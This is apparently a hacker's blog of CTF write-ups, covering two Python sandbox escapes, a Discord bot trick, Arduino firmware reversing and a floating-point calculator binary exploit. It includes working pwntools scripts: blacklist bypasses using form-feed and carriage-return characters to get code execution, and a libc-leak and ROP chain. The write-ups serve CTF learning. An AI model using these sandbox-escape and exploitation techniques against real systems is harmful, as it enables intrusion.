### blacklisted

lol i genuinely didnt know that the python interpreter was this flexible in parsing src

we cant use basically every symbol in ASCII including brackets, dots and equals

which means we basically cannot do anything that can really get us arbitrary code execution like calls and assignments or even just fetching attributes

surprisingly `@` and `:` aint in the list of banned symbols though, which made my mind instantly jump to [hack.lu's culinary classroom](https://despawningbone.me/ctf.html#hacklu22-culinary-class-room)

but the issue with this is the solution i used in that requires attribute access which wasnt allowed so our scope was restricted by a ton due to the one arg call by decorators, and theres also a list of banned words aside from banned symbols

so i was playing around with inlined lambdas in decorators to see if we can emulate getattr of some sort, which gave me some pretty interesting primitives like

```py
class test1:
    @classmethod
    @property
    @lambda test: func
    class test: pass

test1.test
```

which effectively runs `func(test1)`, but we can already do that by 
```py
@func
class test1: pass
```

storing computed variables can also be done like
```py
@chr
@lambda test: 60
class teststr: pass

@chr
@lambda test: 61
class teststr2: pass

@lambda test: teststr+teststr2
class concatstr: pass

print(concatstr)
```
but its pretty useless either since even though we can overwrite the blacklist with this the code reader is not run in a loop so theres only one chance of smuggling code

```py
@input
class callinput: pass   #arbitrary string

@lambda d: callinput % d   #get item in dict formatted as string
@vars
class concatstr: pass
```
with `#!py %(__dict__)s` in input gives us one layer of attribute access in string representation of `#!py vars(concatstr)`, but is again useless since theres nothing in that class that has anything interesting


but as commented none of them are really useful at all 

it is also at this time that i realized they have spaces banned in the symbol list so i couldnt even do class declarations LOL

so i took a break from it

while on a bus back home from the maple bacon meeting i thought to myself what if i can trick the python parser to think a byte is this char but in reality when it is executed its another char (like using EBCDIC which is an entirely different mapping than ASCII which means even if the ASCII version of the symbol is banned i should still be able to use it if the parser treats the byte as EBCDIC)

and i stumbled upon [encoding declarations](https://peps.python.org/pep-0263/), but [it doesnt support EBCDIC](https://bugs.python.org/issue1298) even if the declaration worked in execs - turns out exec itself encodes the string given to it through system encoding by default which is UTF-8 on remote anyway

so thats a dead end

but at this point im certain python has something funny with their parsers considering they allowed things like encoding declarations so i digged a bit more

the parser src for cpython was way too big, so i was just digging around for any documentations thats kinda related

until i stumbled upon this definition for `#!py bytes.isspace()`:

>  Return `True` if all bytes in the sequence are ASCII whitespace and the sequence is not empty, `False` otherwise. ASCII whitespace characters are those byte values in the sequence `#!py b' \t\n\r\x0b\f'` (space, tab, newline, carriage return, vertical tab, form feed).

`\f` and `\x0b`?? the others make a lot of sense but huh if python builtin types treats them as spaces then surely the parser also treats them as spaces yea

turns out even though `\x0b` doesnt work `\f` works flawlessly as a space for some reason LOL

so we can finally use the primitives i found on remote - except any primitives that include lambda decorators seem to be dying

turns out its something thats recently introduced in python 3.9: [PEP-614 - relaxing grammar restrictions on decorators](https://peps.python.org/pep-0614/)

and remote is likely running < 3.9

so that idea is even deeper in the grave now

at this point i was just giving up on arbitrary code execution, and started to analyse the jail script itself more

turns out the way `open` and `print` are coded differently in that they dont use a validate and reject approach but rather a string replace approach ended up being much more vulnerable since we can just inject words like `prinprintt` to make the end result show `print` anyway

anyway now its just a pretty classic decorator chain with those out of the way: we just need to open the file with input, read lines with it, and print

reading lines with it was kinda interesting though - we cant call readlines() or read(), but turns out TextIOWrapper is an iterable itself on the lines in the file

which i somehow never realized considering `#!py for line in open('file.txt')` works so it shouldve been something ive tried

and it seems like im pretty much on track for the intended solution considering they banned basically every iterable function lmao

so its just checking every single iterable function in the builtins list until i hit `sorted` which wasnt banned

and we can get the flag with this:

```py
from pwn import *

p = remote('blacklisted.bctf23-codelab.kctf.cloud', 1337)

p.sendline(b'@prinprintt')
p.sendline(b'@sorted')
p.sendline(b'@oprintpprinteprintnprint')
p.sendline(b'@input')
p.sendline(b'class\fvalidate:pass')
p.sendline(b'')

p.interactive()
```

was using pwntools instead of manual coz i was testing EBCDIC locally lmao

`bctf{w41t_h0w_d1d_y0u_d3c0r4t3_th4t?}`

kinda sad that i spent quite a long time on a completely wrong direction but hey now i know basically every src based blacklist is pretty bypassable lmao

turns out you can even do something like this with unicode full width chars (from r3kapig's [crazyman](https://crazymanarmy.github.io/)):
```py
payload = [
    '@ｅｘｅｃ'.encode(),
    b'@input',
    b'class\x0cX:pass',
    b'', # an empty line to exec
]
```

i wonder just how many more parser related tricks there are

would be a pretty good addition to my pyjail arsenal lmao


### ez-class

chall was pretty big for a pyjail, but the gist was that it would make any class you want but in a fill-in-the-blanks way

and you can make multiple classes, and instantiate the classes you made any time (only instantiating will be done, so no running methods and all that)

but the thing is by fill-in-the-blanks, i really mean fill-in-the-blanks - its literally just a string concatenation which means its subject to injection of all sorts

and the only guard against that is a pretty simple ban on these chars `().\n`

i originally messed around with chaining constructors, but we cant access attributes or assign stuff anyway 

so logically the next step was gonna be metaclasses since we can declare arbitrary parents including metaclass declarations

BUT

with the stuff learnt in [blacklisted](https://despawningbone.me/ctf.html#b01lers23-blacklisted), my mind suddenly went to bypassing the blacklist using parser accepted equivalent chars - with which `\r` was a prime candidate

since it expects a single line for method body, i can just use `\r` to escape from the method body declaration, and do something like `#!py __init__ = breakpoint` so the class instantiation will be hijacked to run breakpoint instead

and yep lmao with this we get a shell easily

```py
from pwn import *

#p = process('python3 ez_class.py', shell=True)
p = remote('ezclass.bctf23-codelab.kctf.cloud', 1337)

p.sendlineafter(b'Run class', b'1')
p.sendlineafter(b'name', b'test')
p.sendlineafter(b'inherit', b'')
p.sendlineafter(b'many methods', b'1')
p.sendlineafter(b'method name', b'test')
p.sendlineafter(b'method params', b'self')
p.sendlineafter(b'method body', b'pass\r\t__init__ = breakpoint')

p.sendlineafter(b'Run class', b'2')
p.sendlineafter(b'name', b'test')
p.sendlineafter(b'dependancies', b'')

p.interactive()
```
pretty sure its not intended either lmao considering what the flag says 

i was probably on track for the intended solution originally

but flag is flag :) `bctf{m3ta_c4l1abl3_b5e478f33eb890a2ee65}`


### cheating scandal

i didnt actually do much in this chall aside from identifying the docker image, but i got pinged when my other teammates found a discord server lmao

[@Angus](https://maplebacon.org/authors/alueft/) was thinking of getting the code for the bot in the server somehow since its an osint chall after all, but i was like wait the bot only has one command and it requires a specific role

doesnt this sound very similar to [ductf's slash flag](https://despawningbone.me/ctf.html#ductf22-slash-flag)

so i tried to invite it to a server i own with the good ol universal invite link by replacing the bot id, add `Admin` as a role for myself, and then `/contact`'d

and lmfao flag `bctf{t0p_G_4lyf3@c0rv1x.c0m_123_456_7890}`

quite funny how this is literally the same as the first part of slash flag


### safe

another arduino chall 

i wanted to actually understand firmware rev for once so i finally tried focusing on it instead of noping out the moment i see one lmaoo

we are given 2 schematic/pinout diagrams, and an intel hex file

so the first thing is to get the binary analysable first

with a good ol `srec_cat.exe safe.hex -Intel -o safe.bin -Binary` from `srecord` and then using a [config file for IDA for ATmega368](https://gist.github.com/extremecoders-re/8d3e9b846a6ec883e5ae3b2bccf5cc88#file-avr-cfg-L8) we can grab a good disasm of the firmware

in the meantime i was also searching for an arduino simulator somewhere since i dont have a uno with me or the keypad, but then i realized

https://wokwi.com/projects/294980637632233994

this site literally has the same images as one of the schematics we were given

the pinouts of the keypad even matches exactly that on the project

the best part is this site allows firmware simulation by `F1->upload firmware and start simulation` on the code editor too

so i ran that and it seems basically the same as a chall ive looked at but nope'd out before - you enter a code in the keypad and it either fails you or unlocks, this time after 20 chars are entered as per the simulation 

so its time to figure out the logic of the win/fail code by checking out the calls to `digitalWrite` with pins 10/11 which were the win/fail pins which signifies they are triggered

but the issue is since its an intel hex file the debug symbols are ofc stripped

so i returned to my roots and started byte diffing like i did when i first started arcade modding LOL

it worked pretty much flawlessly it turns out

by compiling my own version of the project on that site with all the debug symbols, i got an exact match for `digitalWrite`/`digitalRead`/`pinMode`

so now its time to figure out the calling convention for AVR

after a bit of digging i identified the win/fail code which seems to live in the main loop, along with what seems like basically all of the keypad scanning code inlined in the same func

at this point i thought they turned on some aggressive optimizations, but it turns out the author just coded the scanning code themselves after talking with them after the ctf lmao

i eventually found what looks like the keypad codes that can be successfully decoded with the method in the Keypad.h library though

but it involves `*` and `#` which wasnt in the flag regex so something has to be wrong

and it also has 28 chars instead of 20 chars

so i got pretty stuck since IDA doesnt have a decompiler for AVR and i dont trust my own register data tracking methods, especially when AVR splits the address registers used for dereferencing into 2 separate registers lmao

so after a nap i went back and started analysing it again in ghidra instead

and it seems like my analysis was basically correct in that that is definitely the flag array

so i started experimenting with column-major instead of row-major encoding like that in Keypad.h too but it still had 28 chars

but then [@Kevin](https://maplebacon.org/authors/Kevin/) was like why not just truncate it to 20 chars since your column-major code fits the flag regex

so he submitted that and actually got the flag LOL i just doubted myself way too much `bctf{B5D2A160B062538BC55D}`

```py
mapping = [
  [ '1', '2', '3', 'A' ],
  [ '4', '5', '6', 'B' ],
  [ '7', '8', '9', 'C' ],
  [ '*', '0', '#', 'D' ],
]


flag = ''

for v in bytes.fromhex('0D05 0F04 0C00 0907 0D07 0904 0508  060D 0E05 050F 0908 0706 0504 0302'):
    flag += mapping[v%4][v//4]

print(len(flag), flag, flag[:20])
```

eventually i realized the 8 chars at the end are part of the pinout for the keypad after looking at the src the author sent lmao

makes a ton of sense tbh 

i still dont like how AVR handles addresses tho 

ghidra fails to identify a ton of references coz of that too

also turns out the bugs ive been encountering with compiling arduino stuff on vscode was due to an ancient ver of `arduino-cli`

wouldve saved me so much headache if i knew that back when i made badcontroller for maplectf lmao



### Transcendental

ahhhh i hate math i hate math

lmfao if not for [@Sam]()'s arbitrary write primitive that involved way too much floating point math i wouldnt have got a working exploit anyway lmao so the snipe was genuinely how it should be 

i did solve it at the end with a libc leak and ret2libc one_gadget instead of his method that relies on disabled PIE tho

well solve if you dont count the fact that i was using [@Sam]()'s old primitive so it took like 860 calls for each address write LMAO so it never worked on remote and i never bothered to make it work since he's already solved it

was fun figuring out *some* floating point math tho

and how the mantissa is just addition subtraction when exponent is not in question

* * *

anyway chall is basically a stack based floating point calculator, but they only allow you to load pi or e onto the stack

theres a bug in show (9) which allows negative array reads, and a bug in how the push/pop operations is done where you can basically pull the stack towards you if its not "gapped" with a NULL

```py
from pwn import *
import struct


context.binary = ELF('./temp/transcendental_patched')

p = context.binary.process(env={'LD_PRELOAD': './temp/libc-2.31.so'})
#p = remote('transcendental.bctf23-codelab.kctf.cloud', 1337)

#
#  sam's arbitrary write primitive (seems like its bugged when writing 0s, but we cant write 0s anyway)
#

def cmd(c): p.sendlineafter(b'choice: ', c.encode())

def load_pi(): cmd('7')
def load_e(): cmd('8')
def push(): cmd('1')
def pop(): cmd('2')
def add(): cmd('4')
def sub(): cmd('5')
def mul(): cmd('6')
def swap(): cmd('3')

def dup():
    push()
    add()

def read(off):
    cmd('9')
    p.sendline(chr(off + ord('0')).encode())
    p.readuntil(b'value is ')
    s = p.readline().decode()
    return float(s)

# exponentiate acc by n (positive)
def exp(n):
    dup()
    for _ in range(n-1):
        mul()
    swap()
    pop()

# load 2**-52 * 2**-1022
def load_min_subnorm(sign=False):
    load_e()
    push()
    load_pi()
    sub()
    exp(866)
    if sign:
        push()
        sub()

def load_arbitrary(target):
    sign = target >> 63
    exp = (target >> 52) & 0x7ff
    mantissa = target & 0xfffffffffffff

    load_min_subnorm(sign)
    dup()
    mantissa |= (exp != 0) << 53
    end = 52 - bin(mantissa)[2:].rjust(53,'0').find('1')
    for i in range(end-1, -1, -1):
        dup()                   # acc acc min
        add()                   # acc2 acc min
        swap()                  # acc acc2 min
        pop()                   # acc2 min
        if (mantissa >> i) & 1:
            add()

    for _ in range(exp-1):
        dup()
        add()
        swap()
        pop()

#
#  end primitive
#

def arb_write_restore_stack(val):
    load_arbitrary(int.from_bytes(val, 'big'))

    #remove junk from load arb
    for i in range(2):
        swap()
        pop()


for i in range(11):
    load_e() #dud
    push()

load_e() #dud
for i in range(12):
    pop()

#currently at canary, but we need libc start main - keep canary by putting it to the top of stack every pop
for i in range(2):
    swap()
    pop()
swap()
push()

#start leak libc

libc = struct.pack('>d', read(1))[:4]   #top 4 bytes in mantissa should be stable when no exponent is involved

#without mantissa its just an addition operation - we send the same bytes to subtract and we will get them emptied out as expected
arb_write_restore_stack(libc + bytes(4))
swap()
sub()

swap()

libc += struct.pack('>d', read(1))[4:6]

print(libc.hex())

arb_write_restore_stack(libc[4:6] + bytes(2))
swap()
sub()

swap()

libc += struct.pack('>d', read(1))[6:]

libc = int.from_bytes(libc, byteorder='big') - (0x23FC0 + 0xF3)
print(hex(libc))

#done libc, remove
pop()

#start rop

one_gadget = (libc + 0xe3b34).to_bytes(8, 'big')
arb_write_restore_stack(one_gadget)
swap()
push()

#for reg gadget, we cant push null addr so find a place in libc that points to null
null_addr = (libc + 0x8).to_bytes(8, 'big')
arb_write_restore_stack(null_addr)
swap()
push()

null_addr = (libc + 0x8).to_bytes(8, 'big')
arb_write_restore_stack(null_addr)
swap()
push()

#ROP(ELF('./temp/libc-2.31.so')).gadgets
rdx_r12_gadget = (libc + 0x119241).to_bytes(8, 'big')
arb_write_restore_stack(rdx_r12_gadget)
swap()
push()


null_addr = (libc + 0x8).to_bytes(8, 'big')
arb_write_restore_stack(null_addr)
swap()
push()


print(ROP(ELF('./temp/libc-2.31.so')).rsi)
rsi_gadget = (libc + 0x2604f).to_bytes(8, 'big')
arb_write_restore_stack(rsi_gadget)
swap()
push()

for i in range(3):   #junk vars in stack
    load_e()
    swap()
    push()

for i in range(10):  #restore stack
    load_e() #dud
    push()


p.interactive()
```

i also made a failed attempt in a general float recovery algo for the canary, tho it doesnt really work with anything at this point coz i never finished it or fixed the bugs lmao

it does have a way to recover exponents and splitting the mantissa into parts though which might be useful for future challs

```py

#startbit is counted from the left of mantissa
#bits is total size of the part we wanna calculate
def partialmantissa(data, bits, startbit, exponent):
    val = 0
    for i in range(bits):
        if data & 1 == 1:
            print(f'2**{exponent - (startbit + bits - i)} + ', end='')
            val += 2**(exponent - (startbit + bits - i))
        data >>= 1
    print()
    return val

def recoverfloat():
    raw = read(1)
    val = struct.pack('>d', raw) #float(p.recvuntil(b'quit').split(b'value is ')[1].split('\n')[0]))

    print(raw, val.hex())

    #obtain exponent to remove certain parts of mantissa through subtraction
    exponent = (int.from_bytes(val[:2], byteorder='big') >> 4 & 0x7FF) #exponent is in big endian
    exponent = exponent - 1023 if exponent else -1022

    print('exp:', exponent)

    #we know the sign and exponent is always kept, and the top 4 bits are also kept since they are the most significant; the next byte is likely also kept due to the amount printed
    subval = (2**exponent if exponent != -1022 else 0) + partialmantissa(val[1] & 0b1111, 4, 0, exponent) + partialmantissa(val[2], 8, 4, exponent)  #base subval (most significant 12 bits) which we already obtained

    #its probably likely that we can just issue 1 truncate and obtain all the bytes needed already since %g actually shows a fair amount of info
    print(subval, struct.pack('>d', subval).hex())
    load_arbitrary(int.from_bytes(struct.pack('>d', subval), 'big'))

    #reset stack to push the arb val we loaded onto the top stack
    # swap()
    # pop()
    # swap()

    #p.interactive()

    # for i in range(10):
    #     dup()  #pad so we can pull (think of magnetic cables - the stack check checks for gaps (aka nulls) otherwise it pulls the entire chunk so once we attach by filling out the gap we can pull other things)
    
    # for i in range(11):
    #     pop()  #pull stack frame to us so we can operate on 
    
    #canary - partial mantissa to leak the rest
    # swap()
    # sub()

    #remove junk from load arb
    for i in range(2):
        swap()
        pop()

    #swap()
    #pop()
    #sub()

    newraw = read(0)
    newval = struct.pack('>d', newraw)

    print(newraw, newval.hex())
```

